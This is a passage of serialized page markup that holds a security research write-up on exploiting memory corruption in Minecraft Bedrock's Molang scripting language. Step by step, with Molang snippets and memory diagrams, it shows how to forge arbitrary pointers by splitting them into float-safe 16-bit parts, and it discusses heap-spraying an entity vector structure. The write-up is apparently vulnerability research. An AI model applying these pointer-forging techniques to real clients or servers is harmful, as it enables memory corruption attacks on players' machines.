[",{"type":24,"tag":930,"props":156166,"children":156167},{"style":25508},[156168],{"type":30,"value":12699},{"type":24,"tag":930,"props":156170,"children":156171},{"style":959},[156172],{"type":30,"value":14879},{"type":24,"tag":930,"props":156174,"children":156175},{"class":932,"line":1335},[156176],{"type":24,"tag":930,"props":156177,"children":156178},{"style":959},[156179],{"type":30,"value":46738},{"type":24,"tag":930,"props":156181,"children":156182},{"class":932,"line":1376},[156183,156188],{"type":24,"tag":930,"props":156184,"children":156185},{"style":1023},[156186],{"type":30,"value":156187},"        \"pre_animation\"",{"type":24,"tag":930,"props":156189,"children":156190},{"style":959},[156191],{"type":30,"value":156120},{"type":24,"tag":930,"props":156193,"children":156194},{"class":932,"line":1418},[156195],{"type":24,"tag":930,"props":156196,"children":156197},{"style":1270},[156198],{"type":30,"value":156199},"          \"variable.a = 2.310732e-27;\"\n",{"type":24,"tag":930,"props":156201,"children":156202},{"class":932,"line":1438},[156203],{"type":24,"tag":930,"props":156204,"children":156205},{"style":959},[156206],{"type":30,"value":156207},"        ]\n",{"type":24,"tag":930,"props":156209,"children":156210},{"class":932,"line":1479},[156211],{"type":24,"tag":930,"props":156212,"children":156213},{"style":959},[156214],{"type":30,"value":40287},{"type":24,"tag":930,"props":156216,"children":156217},{"class":932,"line":1506},[156218],{"type":24,"tag":930,"props":156219,"children":156220},{"style":959},[156221],{"type":30,"value":1840},{"type":24,"tag":930,"props":156223,"children":156224},{"class":932,"line":1525},[156225],{"type":24,"tag":930,"props":156226,"children":156227},{"style":959},[156228],{"type":30,"value":8984},{"type":24,"tag":930,"props":156230,"children":156231},{"class":932,"line":1569},[156232],{"type":24,"tag":930,"props":156233,"children":156234},{"style":959},[156235],{"type":30,"value":2528},{"type":24,"tag":33,"props":156237,"children":156238},{},[156239,156241,156246,156248,156253,156255,156260],{"type":30,"value":156240},"As shown, the pointer of a variable at offset ",{"type":24,"tag":156,"props":156242,"children":156244},{"className":156243},[],[156245],{"type":30,"value":155290},{"type":30,"value":156247}," was modified and the core concept works. During ",{"type":24,"tag":156,"props":156249,"children":156251},{"className":156250},[],[156252],{"type":30,"value":155248},{"type":30,"value":156254}," copy, pointers of some other variables above offset ",{"type":24,"tag":156,"props":156256,"children":156258},{"className":156257},[],[156259],{"type":30,"value":155290},{"type":30,"value":156261}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":24,"tag":33,"props":156263,"children":156264},{},[156265],{"type":30,"value":156266},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":24,"tag":96,"props":156268,"children":156269},{},[156270,156283],{"type":24,"tag":100,"props":156271,"children":156272},{},[156273,156275,156281],{"type":30,"value":156274},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":24,"tag":156,"props":156276,"children":156278},{"className":156277},[],[156279],{"type":30,"value":156280},"FLT_MAX",{"type":30,"value":156282},", the value becomes an invalid float causing the increment operation to fail.",{"type":24,"tag":100,"props":156284,"children":156285},{},[156286,156288,156293,156295,156300,156301,156306,156308,156313],{"type":30,"value":156287},"As noted before, during assignment, ",{"type":24,"tag":156,"props":156289,"children":156291},{"className":156290},[],[156292],{"type":30,"value":155248},{"type":30,"value":156294}," fields are copied, and the ",{"type":24,"tag":156,"props":156296,"children":156298},{"className":156297},[],[156299],{"type":30,"value":42239},{"type":30,"value":155338},{"type":24,"tag":156,"props":156302,"children":156304},{"className":156303},[],[156305],{"type":30,"value":58724},{"type":30,"value":156307},". Since our source ",{"type":24,"tag":156,"props":156309,"children":156311},{"className":156310},[],[156312],{"type":30,"value":155248},{"type":30,"value":156314}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":24,"tag":33,"props":156316,"children":156317},{},[156318],{"type":30,"value":156319},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":24,"tag":21995,"props":156321,"children":156323},{"id":156322},"expanding-the-idea",[156324],{"type":30,"value":156325},"Expanding the Idea",{"type":24,"tag":33,"props":156327,"children":156328},{},[156329,156331,156336,156338,156343,156344,156349,156351,156356],{"type":30,"value":156330},"As mentioned earlier, the ",{"type":24,"tag":156,"props":156332,"children":156334},{"className":156333},[],[156335],{"type":30,"value":35844},{"type":30,"value":156337}," field of ",{"type":24,"tag":156,"props":156339,"children":156341},{"className":156340},[],[156342],{"type":30,"value":155248},{"type":30,"value":18547},{"type":24,"tag":156,"props":156345,"children":156347},{"className":156346},[],[156348],{"type":30,"value":61022},{"type":30,"value":156350},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":24,"tag":156,"props":156352,"children":156354},{"className":156353},[],[156355],{"type":30,"value":42239},{"type":30,"value":156357}," field remain unchanged before and after Molang execution.",{"type":24,"tag":33,"props":156359,"children":156360},{},[156361,156363,156368],{"type":30,"value":156362},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":24,"tag":156,"props":156364,"children":156366},{"className":156365},[],[156367],{"type":30,"value":155356},{"type":30,"value":156369},"’s allocated buffer + 4.",{"type":24,"tag":33,"props":156371,"children":156372},{},[156373,156375,156380,156382,156387,156389,156394,156395,156401],{"type":30,"value":156374},"In the example below, ",{"type":24,"tag":156,"props":156376,"children":156378},{"className":156377},[],[156379],{"type":30,"value":155782},{"type":30,"value":156381}," points to ",{"type":24,"tag":156,"props":156383,"children":156385},{"className":156384},[],[156386],{"type":30,"value":155356},{"type":30,"value":156388},", while ",{"type":24,"tag":156,"props":156390,"children":156392},{"className":156391},[],[156393],{"type":30,"value":155796},{"type":30,"value":156381},{"type":24,"tag":156,"props":156396,"children":156398},{"className":156397},[],[156399],{"type":30,"value":156400},"MolangVariableMap + 4",{"type":30,"value":476},{"type":24,"tag":920,"props":156403,"children":156405},{"code":156404},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[156406],{"type":24,"tag":156,"props":156407,"children":156408},{"__ignoreMap":7},[156409],{"type":30,"value":156404},{"type":24,"tag":33,"props":156411,"children":156412},{},[156413,156415,156420,156421,156426,156428,156433,156435,156440,156442,156447],{"type":30,"value":156414},"Here, the ",{"type":24,"tag":156,"props":156416,"children":156418},{"className":156417},[],[156419],{"type":30,"value":42239},{"type":30,"value":156337},{"type":24,"tag":156,"props":156422,"children":156424},{"className":156423},[],[156425],{"type":30,"value":155782},{"type":30,"value":156427}," starts at the lower 32 bits of the ",{"type":24,"tag":156,"props":156429,"children":156431},{"className":156430},[],[156432],{"type":30,"value":155852},{"type":30,"value":156434}," pointer, while ",{"type":24,"tag":156,"props":156436,"children":156438},{"className":156437},[],[156439],{"type":30,"value":155796},{"type":30,"value":156441}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":24,"tag":156,"props":156443,"children":156445},{"className":156444},[],[156446],{"type":30,"value":155852},{"type":30,"value":156448}," pointer in a separate variable:",{"type":24,"tag":920,"props":156450,"children":156452},{"code":156451},"variable.saved_upper_32 = variable.b;\n",[156453],{"type":24,"tag":156,"props":156454,"children":156455},{"__ignoreMap":7},[156456],{"type":30,"value":156451},{"type":24,"tag":33,"props":156458,"children":156459},{},[156460],{"type":30,"value":156461},"Then we can modify the lower 32 bits of the pointer:",{"type":24,"tag":920,"props":156463,"children":156465},{"code":156464},"variable.a = variable.a + itof(0x8);\n",[156466],{"type":24,"tag":156,"props":156467,"children":156468},{"__ignoreMap":7},[156469],{"type":30,"value":156464},{"type":24,"tag":33,"props":156471,"children":156472},{},[156473],{"type":30,"value":156474},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":24,"tag":920,"props":156476,"children":156478},{"code":156477},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[156479],{"type":24,"tag":156,"props":156480,"children":156481},{"__ignoreMap":7},[156482],{"type":30,"value":156477},{"type":24,"tag":33,"props":156484,"children":156485},{},[156486,156488,156493],{"type":30,"value":156487},"Since the 32 bits directly below the ",{"type":24,"tag":156,"props":156489,"children":156491},{"className":156490},[],[156492],{"type":30,"value":42239},{"type":30,"value":156494}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":24,"tag":920,"props":156496,"children":156498},{"code":156497},"variable.b = variable.saved_upper_32;\n",[156499],{"type":24,"tag":156,"props":156500,"children":156501},{"__ignoreMap":7},[156502],{"type":30,"value":156497},{"type":24,"tag":33,"props":156504,"children":156505},{},[156506,156508,156513],{"type":30,"value":156507},"Now ",{"type":24,"tag":156,"props":156509,"children":156511},{"className":156510},[],[156512],{"type":30,"value":155852},{"type":30,"value":156514}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":24,"tag":920,"props":156516,"children":156518},{"code":156517},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[156519],{"type":24,"tag":156,"props":156520,"children":156521},{"__ignoreMap":7},[156522],{"type":30,"value":156517},{"type":24,"tag":33,"props":156524,"children":156525},{},[156526,156528,156533],{"type":30,"value":156527},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":24,"tag":156,"props":156529,"children":156531},{"className":156530},[],[156532],{"type":30,"value":156400},{"type":30,"value":156534}," on the heap?",{"type":24,"tag":33,"props":156536,"children":156537},{},[156538,156540,156545,156547,156553],{"type":30,"value":156539},"Additionally, adding 8 to ",{"type":24,"tag":156,"props":156541,"children":156543},{"className":156542},[],[156544],{"type":30,"value":155782},{"type":30,"value":156546}," in the example above wouldn’t work because ",{"type":24,"tag":156,"props":156548,"children":156550},{"className":156549},[],[156551],{"type":30,"value":156552},"0xddccbba0",{"type":30,"value":156554}," is not a valid float. So the first issue still remains unresolved.",{"type":24,"tag":21995,"props":156556,"children":156558},{"id":156557},"the-final-approach",[156559],{"type":30,"value":156560},"The Final Approach",{"type":24,"tag":33,"props":156562,"children":156563},{},[156564,156566,156571,156573,156579],{"type":30,"value":156565},"We realized that instead of having the second pointer at ",{"type":24,"tag":156,"props":156567,"children":156569},{"className":156568},[],[156570],{"type":30,"value":156400},{"type":30,"value":156572},", we could instead have it at ",{"type":24,"tag":156,"props":156574,"children":156576},{"className":156575},[],[156577],{"type":30,"value":156578},"MolangVariableMap + 2",{"type":30,"value":156580},", which would resolve both of our issues.",{"type":24,"tag":33,"props":156582,"children":156583},{},[156584,156586,156591,156592,156597],{"type":30,"value":156585},"Let’s revisit the previous example, but this time ",{"type":24,"tag":156,"props":156587,"children":156589},{"className":156588},[],[156590],{"type":30,"value":155796},{"type":30,"value":156381},{"type":24,"tag":156,"props":156593,"children":156595},{"className":156594},[],[156596],{"type":30,"value":156578},{"type":30,"value":476},{"type":24,"tag":920,"props":156599,"children":156601},{"code":156600},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[156602],{"type":24,"tag":156,"props":156603,"children":156604},{"__ignoreMap":7},[156605],{"type":30,"value":156600},{"type":24,"tag":33,"props":156607,"children":156608},{},[156609,156611,156616],{"type":30,"value":156610},"With this setup, we can calculate any address relative to ",{"type":24,"tag":156,"props":156612,"children":156614},{"className":156613},[],[156615],{"type":30,"value":155852},{"type":30,"value":156617}," by first saving the upper 48 bits of the address:",{"type":24,"tag":920,"props":156619,"children":156621},{"code":156620},"variable.saved_upper_48 = variable.b;\n",[156622],{"type":24,"tag":156,"props":156623,"children":156624},{"__ignoreMap":7},[156625],{"type":30,"value":156620},{"type":24,"tag":33,"props":156627,"children":156628},{},[156629,156630,156636,156638,156644],{"type":30,"value":132258},{"type":24,"tag":156,"props":156631,"children":156633},{"className":156632},[],[156634],{"type":30,"value":156635},"variable.saved_upper_48",{"type":30,"value":156637}," holds the value ",{"type":24,"tag":156,"props":156639,"children":156641},{"className":156640},[],[156642],{"type":30,"value":156643},"0x1c80ddcc",{"type":30,"value":436},{"type":24,"tag":33,"props":156646,"children":156647},{},[156648],{"type":30,"value":156649},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":24,"tag":920,"props":156651,"children":156653},{"code":156652},"variable.b = 0;\n",[156654],{"type":24,"tag":156,"props":156655,"children":156656},{"__ignoreMap":7},[156657],{"type":30,"value":156652},{"type":24,"tag":33,"props":156659,"children":156660},{},[156661],{"type":30,"value":156662},"Resulting in the following state:",{"type":24,"tag":920,"props":156664,"children":156666},{"code":156665},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[156667],{"type":24,"tag":156,"props":156668,"children":156669},{"__ignoreMap":7},[156670],{"type":30,"value":156665},{"type":24,"tag":33,"props":156672,"children":156673},{},[156674,156676,156681,156683,156689,156691,156696],{"type":30,"value":156675},"Now, the value of ",{"type":24,"tag":156,"props":156677,"children":156679},{"className":156678},[],[156680],{"type":30,"value":155782},{"type":30,"value":156682}," only spans 16 bits (",{"type":24,"tag":156,"props":156684,"children":156686},{"className":156685},[],[156687],{"type":30,"value":156688},"0xbba0",{"type":30,"value":156690}," specifically), which is always a valid float since it’s far below ",{"type":24,"tag":156,"props":156692,"children":156694},{"className":156693},[],[156695],{"type":30,"value":156280},{"type":30,"value":436},{"type":24,"tag":33,"props":156698,"children":156699},{},[156700,156702,156707],{"type":30,"value":156701},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":24,"tag":156,"props":156703,"children":156705},{"className":156704},[],[156706],{"type":30,"value":155782},{"type":30,"value":476},{"type":24,"tag":920,"props":156709,"children":156710},{"code":156464},[156711],{"type":24,"tag":156,"props":156712,"children":156713},{"__ignoreMap":7},[156714],{"type":30,"value":156464},{"type":24,"tag":33,"props":156716,"children":156717},{},[156718],{"type":30,"value":156719},"Which results in:",{"type":24,"tag":920,"props":156721,"children":156723},{"code":156722},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[156724],{"type":24,"tag":156,"props":156725,"children":156726},{"__ignoreMap":7},[156727],{"type":30,"value":156722},{"type":24,"tag":33,"props":156729,"children":156730},{},[156731],{"type":30,"value":156732},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":24,"tag":920,"props":156734,"children":156736},{"code":156735},"variable.b = variable.saved_upper_48;\n",[156737],{"type":24,"tag":156,"props":156738,"children":156739},{"__ignoreMap":7},[156740],{"type":30,"value":156735},{"type":24,"tag":33,"props":156742,"children":156743},{},[156744],{"type":30,"value":156745},"Yielding a valid pointer again:",{"type":24,"tag":920,"props":156747,"children":156749},{"code":156748},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[156750],{"type":24,"tag":156,"props":156751,"children":156752},{"__ignoreMap":7},[156753],{"type":30,"value":156748},{"type":24,"tag":33,"props":156755,"children":156756},{},[156757],{"type":30,"value":156758},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":24,"tag":920,"props":156760,"children":156762},{"code":156761},"variable.saved_adjusted_lower_16 = variable.a;\n",[156763],{"type":24,"tag":156,"props":156764,"children":156765},{"__ignoreMap":7},[156766],{"type":30,"value":156761},{"type":24,"tag":33,"props":156768,"children":156769},{},[156770],{"type":30,"value":156771},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":24,"tag":920,"props":156773,"children":156775},{"code":156774},"variable.a = variable.saved_upper_48;\n",[156776],{"type":24,"tag":156,"props":156777,"children":156778},{"__ignoreMap":7},[156779],{"type":30,"value":156774},{"type":24,"tag":33,"props":156781,"children":156782},{},[156783],{"type":30,"value":156784},"This produces the following state:",{"type":24,"tag":920,"props":156786,"children":156788},{"code":156787},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[156789],{"type":24,"tag":156,"props":156790,"children":156791},{"__ignoreMap":7},[156792],{"type":30,"value":156787},{"type":24,"tag":33,"props":156794,"children":156795},{},[156796,156798,156803,156805,156811,156813,156819,156821,156826,156828,156833],{"type":30,"value":156797},"As shown, ",{"type":24,"tag":156,"props":156799,"children":156801},{"className":156800},[],[156802],{"type":30,"value":155796},{"type":30,"value":156804}," now contains the upper 16 bits of the address (",{"type":24,"tag":156,"props":156806,"children":156808},{"className":156807},[],[156809],{"type":30,"value":156810},"0x1c80",{"type":30,"value":156812},"), which we can store as ",{"type":24,"tag":156,"props":156814,"children":156816},{"className":156815},[],[156817],{"type":30,"value":156818},"variable.saved_upper_16 = variable.b",{"type":30,"value":156820},". Meanwhile, ",{"type":24,"tag":156,"props":156822,"children":156824},{"className":156823},[],[156825],{"type":30,"value":155782},{"type":30,"value":156827}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":24,"tag":156,"props":156829,"children":156831},{"className":156830},[],[156832],{"type":30,"value":155796},{"type":30,"value":476},{"type":24,"tag":920,"props":156835,"children":156836},{"code":156652},[156837],{"type":24,"tag":156,"props":156838,"children":156839},{"__ignoreMap":7},[156840],{"type":30,"value":156652},{"type":24,"tag":33,"props":156842,"children":156843},{},[156844],{"type":30,"value":156845},"Leaving us with:",{"type":24,"tag":920,"props":156847,"children":156849},{"code":156848},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[156850],{"type":24,"tag":156,"props":156851,"children":156852},{"__ignoreMap":7},[156853],{"type":30,"value":156848},{"type":24,"tag":33,"props":156855,"children":156856},{},[156857],{"type":30,"value":156858},"We can now save the middle 16 bits:",{"type":24,"tag":920,"props":156860,"children":156862},{"code":156861},"variable.saved_middle_16 = variable.a;\n",[156863],{"type":24,"tag":156,"props":156864,"children":156865},{"__ignoreMap":7},[156866],{"type":30,"value":156861},{"type":24,"tag":33,"props":156868,"children":156869},{},[156870],{"type":30,"value":156871},"At this point, we have:",{"type":24,"tag":920,"props":156873,"children":156875},{"code":156874},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[156876],{"type":24,"tag":156,"props":156877,"children":156878},{"__ignoreMap":7},[156879],{"type":30,"value":156874},{"type":24,"tag":33,"props":156881,"children":156882},{},[156883],{"type":30,"value":156884},"All three parts are valid float values, ensuring deterministic calculations.",{"type":24,"tag":33,"props":156886,"children":156887},{},[156888],{"type":30,"value":156889},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":24,"tag":920,"props":156891,"children":156893},{"code":156892},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[156894],{"type":24,"tag":156,"props":156895,"children":156896},{"__ignoreMap":7},[156897],{"type":30,"value":156892},{"type":24,"tag":33,"props":156899,"children":156900},{},[156901],{"type":30,"value":156902},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":24,"tag":920,"props":156904,"children":156906},{"code":156905},"variable.a = variable.saved_adjusted_middle_16;\n",[156907],{"type":24,"tag":156,"props":156908,"children":156909},{"__ignoreMap":7},[156910],{"type":30,"value":156905},{"type":24,"tag":33,"props":156912,"children":156913},{},[156914,156916,156921,156922,156928,156929,156935],{"type":30,"value":156915},"Setting ",{"type":24,"tag":156,"props":156917,"children":156919},{"className":156918},[],[156920],{"type":30,"value":155782},{"type":30,"value":681},{"type":24,"tag":156,"props":156923,"children":156925},{"className":156924},[],[156926],{"type":30,"value":156927},"0xddcd",{"type":30,"value":1087},{"type":24,"tag":156,"props":156930,"children":156932},{"className":156931},[],[156933],{"type":30,"value":156934},"0xddcc + 1",{"type":30,"value":156936},"), and then:",{"type":24,"tag":920,"props":156938,"children":156940},{"code":156939},"variable.b = variable.saved_adjusted_upper_16;\n",[156941],{"type":24,"tag":156,"props":156942,"children":156943},{"__ignoreMap":7},[156944],{"type":30,"value":156939},{"type":24,"tag":33,"props":156946,"children":156947},{},[156948,156950,156955,156957,156963,156964,156970],{"type":30,"value":156949},"Resulting in ",{"type":24,"tag":156,"props":156951,"children":156953},{"className":156952},[],[156954],{"type":30,"value":155796},{"type":30,"value":156956}," value becoming ",{"type":24,"tag":156,"props":156958,"children":156960},{"className":156959},[],[156961],{"type":30,"value":156962},"0x1c81",{"type":30,"value":1087},{"type":24,"tag":156,"props":156965,"children":156967},{"className":156966},[],[156968],{"type":30,"value":156969},"0x1c80 + 1",{"type":30,"value":27037},{"type":24,"tag":920,"props":156972,"children":156974},{"code":156973},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156975],{"type":24,"tag":156,"props":156976,"children":156977},{"__ignoreMap":7},[156978],{"type":30,"value":156973},{"type":24,"tag":33,"props":156980,"children":156981},{},[156982],{"type":30,"value":156983},"Now we save the adjusted upper 48 bits:",{"type":24,"tag":920,"props":156985,"children":156987},{"code":156986},"variable.saved_adjusted_upper_48 = variable.a;\n",[156988],{"type":24,"tag":156,"props":156989,"children":156990},{"__ignoreMap":7},[156991],{"type":30,"value":156986},{"type":24,"tag":33,"props":156993,"children":156994},{},[156995],{"type":30,"value":156996},"Finally, we attach the lower 16 bits:",{"type":24,"tag":920,"props":156998,"children":157000},{"code":156999},"variable.a = variable.saved_adjusted_lower_16;\n",[157001],{"type":24,"tag":156,"props":157002,"children":157003},{"__ignoreMap":7},[157004],{"type":30,"value":156999},{"type":24,"tag":920,"props":157006,"children":157008},{"code":157007},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[157009],{"type":24,"tag":156,"props":157010,"children":157011},{"__ignoreMap":7},[157012],{"type":30,"value":157007},{"type":24,"tag":33,"props":157014,"children":157015},{},[157016],{"type":30,"value":157017},"And by setting:",{"type":24,"tag":920,"props":157019,"children":157021},{"code":157020},"variable.b = variable.saved_adjusted_upper_48;\n",[157022],{"type":24,"tag":156,"props":157023,"children":157024},{"__ignoreMap":7},[157025],{"type":30,"value":157020},{"type":24,"tag":33,"props":157027,"children":157028},{},[157029],{"type":30,"value":157030},"We forge the final adjusted pointer:",{"type":24,"tag":920,"props":157032,"children":157034},{"code":157033},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[157035],{"type":24,"tag":156,"props":157036,"children":157037},{"__ignoreMap":7},[157038],{"type":30,"value":157033},{"type":24,"tag":21895,"props":157040,"children":157041},{},[],{"type":24,"tag":33,"props":157043,"children":157044},{},[157045,157047,157052],{"type":30,"value":157046},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":24,"tag":156,"props":157048,"children":157050},{"className":157049},[],[157051],{"type":30,"value":156578},{"type":30,"value":156534},{"type":24,"tag":33,"props":157054,"children":157055},{},[157056,157058,157063,157065,157070,157072,157078,157080,157085],{"type":30,"value":157057},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":24,"tag":156,"props":157059,"children":157061},{"className":157060},[],[157062],{"type":30,"value":156578},{"type":30,"value":157064},". Instead, we need any two pointers on the heap - one pointing to ",{"type":24,"tag":156,"props":157066,"children":157068},{"className":157067},[],[157069],{"type":30,"value":33778},{"type":30,"value":157071}," and the other to ",{"type":24,"tag":156,"props":157073,"children":157075},{"className":157074},[],[157076],{"type":30,"value":157077},"addr + 2",{"type":30,"value":157079}," (as long as ",{"type":24,"tag":156,"props":157081,"children":157083},{"className":157082},[],[157084],{"type":30,"value":33778},{"type":30,"value":157086}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":24,"tag":33,"props":157088,"children":157089},{},[157090,157092,157097,157098,157103],{"type":30,"value":157091},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":24,"tag":156,"props":157093,"children":157095},{"className":157094},[],[157096],{"type":30,"value":152552},{"type":30,"value":156337},{"type":24,"tag":156,"props":157099,"children":157101},{"className":157100},[],[157102],{"type":30,"value":155356},{"type":30,"value":157104}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":24,"tag":920,"props":157106,"children":157108},{"code":157107},"variable.corrupted_var_map_ptr = variable.a;\n",[157109],{"type":24,"tag":156,"props":157110,"children":157111},{"__ignoreMap":7},[157112],{"type":30,"value":157107},{"type":24,"tag":33,"props":157114,"children":157115},{},[157116,157118,157123,157125,157131],{"type":30,"value":157117},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":24,"tag":156,"props":157119,"children":157121},{"className":157120},[],[157122],{"type":30,"value":42239},{"type":30,"value":157124}," field (in this case, the reconstructed pointer) and writes it to ",{"type":24,"tag":156,"props":157126,"children":157128},{"className":157127},[],[157129],{"type":30,"value":157130},"variable.corrupted_var_map_ptr",{"type":30,"value":157132},", even though the type itself is only a 32-bit float.",{"type":24,"tag":21995,"props":157134,"children":157136},{"id":157135},"finding-misaligned-pointers",[157137],{"type":30,"value":157138},"Finding Misaligned Pointers",{"type":24,"tag":33,"props":157140,"children":157141},{},[157142,157144,157149,157150,157156],{"type":30,"value":157143},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":24,"tag":156,"props":157145,"children":157147},{"className":157146},[],[157148],{"type":30,"value":17056},{"type":30,"value":211},{"type":24,"tag":156,"props":157151,"children":157153},{"className":157152},[],[157154],{"type":30,"value":157155},"ptr + 2",{"type":30,"value":157157},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":24,"tag":33,"props":157159,"children":157160},{},[157161,157166,157167,157172,157174,157179,157181,157186,157188,157193,157195,157200,157202,157208,157209,157214],{"type":24,"tag":156,"props":157162,"children":157164},{"className":157163},[],[157165],{"type":30,"value":155532},{"type":30,"value":18547},{"type":24,"tag":156,"props":157168,"children":157170},{"className":157169},[],[157171],{"type":30,"value":155555},{"type":30,"value":157173}," found inside every entity object. As noted earlier, a ",{"type":24,"tag":156,"props":157175,"children":157177},{"className":157176},[],[157178],{"type":30,"value":155386},{"type":30,"value":157180}," contains three pointers: ",{"type":24,"tag":156,"props":157182,"children":157184},{"className":157183},[],[157185],{"type":30,"value":152552},{"type":30,"value":157187}," (the start of the allocated buffer), ",{"type":24,"tag":156,"props":157189,"children":157191},{"className":157190},[],[157192],{"type":30,"value":12247},{"type":30,"value":157194}," (just past the last element) and ",{"type":24,"tag":156,"props":157196,"children":157198},{"className":157197},[],[157199],{"type":30,"value":155485},{"type":30,"value":157201}," (the end of the allocated buffer). Because the element type is ",{"type":24,"tag":156,"props":157203,"children":157205},{"className":157204},[],[157206],{"type":30,"value":157207},"uint16_t",{"type":30,"value":280},{"type":24,"tag":156,"props":157210,"children":157212},{"className":157211},[],[157213],{"type":30,"value":12247},{"type":30,"value":157215}," pointer advances by 2 bytes each time a new element is added.",{"type":24,"tag":33,"props":157217,"children":157218},{},[157219,157221,157226,157228,157234],{"type":30,"value":157220},"We can make the ",{"type":24,"tag":156,"props":157222,"children":157224},{"className":157223},[],[157225],{"type":30,"value":12247},{"type":30,"value":157227}," pointer equal to ",{"type":24,"tag":156,"props":157229,"children":157231},{"className":157230},[],[157232],{"type":30,"value":157233},"cap - 2",{"type":30,"value":157235}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen 